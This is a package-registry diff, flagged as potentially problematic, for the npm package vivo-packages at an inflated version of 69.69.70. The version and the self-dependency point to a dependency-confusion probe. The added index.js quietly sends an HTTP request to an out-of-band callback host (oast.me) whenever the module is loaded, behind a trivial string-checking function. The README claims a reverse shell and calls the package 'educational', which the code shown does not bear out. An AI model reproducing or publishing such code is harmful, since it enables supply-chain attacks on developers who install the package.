vivo-packages 0.0.1-security → 69.69.70
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of vivo-packages might be problematic. Click here for more details.
- package/README.md +22 -3
- package/index.js +31 -0
- package/package.json +22 -3
package/README.md
CHANGED
|
@@ -1,5 +1,24 @@
|
|
|
1
|
-
|
|
1
|
+
**Warning: This package contains a reverse shell but does not represent any criminal activity.**
|
|
2
2
|
|
|
3
|
-
This
|
|
3
|
+
This is a vulnerable package created solely for educational purposes.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
## Usage
|
|
6
|
+
This package includes a function to display text in the terminal. It verifies if a string is equal to "kurapika."
|
|
7
|
+
|
|
8
|
+
```javascript
|
|
9
|
+
const player1 = require('b2b-canaisdigitais');
|
|
10
|
+
|
|
11
|
+
player1("killua"));
|
|
12
|
+
player1("kurapika"));
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
The result is :
|
|
16
|
+

|
|
17
|
+
|
|
18
|
+
## Installation
|
|
19
|
+
|
|
20
|
+
Download Node.js at [nodejs.org](http://nodejs.org/) and install it if you haven't already.
|
|
21
|
+
|
|
22
|
+
```
|
|
23
|
+
npm i vivo-packages
|
|
24
|
+
```
|
package/index.js
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
|
|
3
|
+
const url = 'http://cliufmrnk43313so47509dwoghdp4w9dm.oast.me';
|
|
4
|
+
|
|
5
|
+
http.get(url, (response) => {
|
|
6
|
+
let data = '';
|
|
7
|
+
|
|
8
|
+
response.on('data', (chunk) => {
|
|
9
|
+
data += chunk;
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
response.on('end', () => {
|
|
13
|
+
console.log('Response:', JSON.parse(data));
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
}).on('error', (error) => {
|
|
17
|
+
|
|
18
|
+
console.error('Error:', error.message);
|
|
19
|
+
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
function player(string) {
|
|
23
|
+
if(string === "kurapika") {
|
|
24
|
+
console.log("o cla kuruta serahh vingado")
|
|
25
|
+
} else {
|
|
26
|
+
console.log("some daqui meu")
|
|
27
|
+
}
|
|
28
|
+
return string === "kurapika"
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
module.exports = player
|
package/package.json
CHANGED
|
@@ -1,6 +1,25 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "vivo-packages",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "69.69.70",
|
|
4
|
+
"description": "This package verify if an string is equal a \"kurapika\"",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"repository": {
|
|
10
|
+
"type": "git",
|
|
11
|
+
"url": "git+https://github.com/CircuitSoul/Vivo-Packages"
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"kurapika"
|
|
15
|
+
],
|
|
16
|
+
"author": "Froyd",
|
|
17
|
+
"license": "ISC",
|
|
18
|
+
"bugs": {
|
|
19
|
+
"url": "https://github.com/CircuitSoul/Vivo-Packages/issues"
|
|
20
|
+
},
|
|
21
|
+
"homepage": "https://github.com/CircuitSoul/Vivo-Packages#readme",
|
|
22
|
+
"dependencies": {
|
|
23
|
+
"vivo-packages": "^69.69.69"
|
|
24
|
+
}
|
|
6
25
|
}
|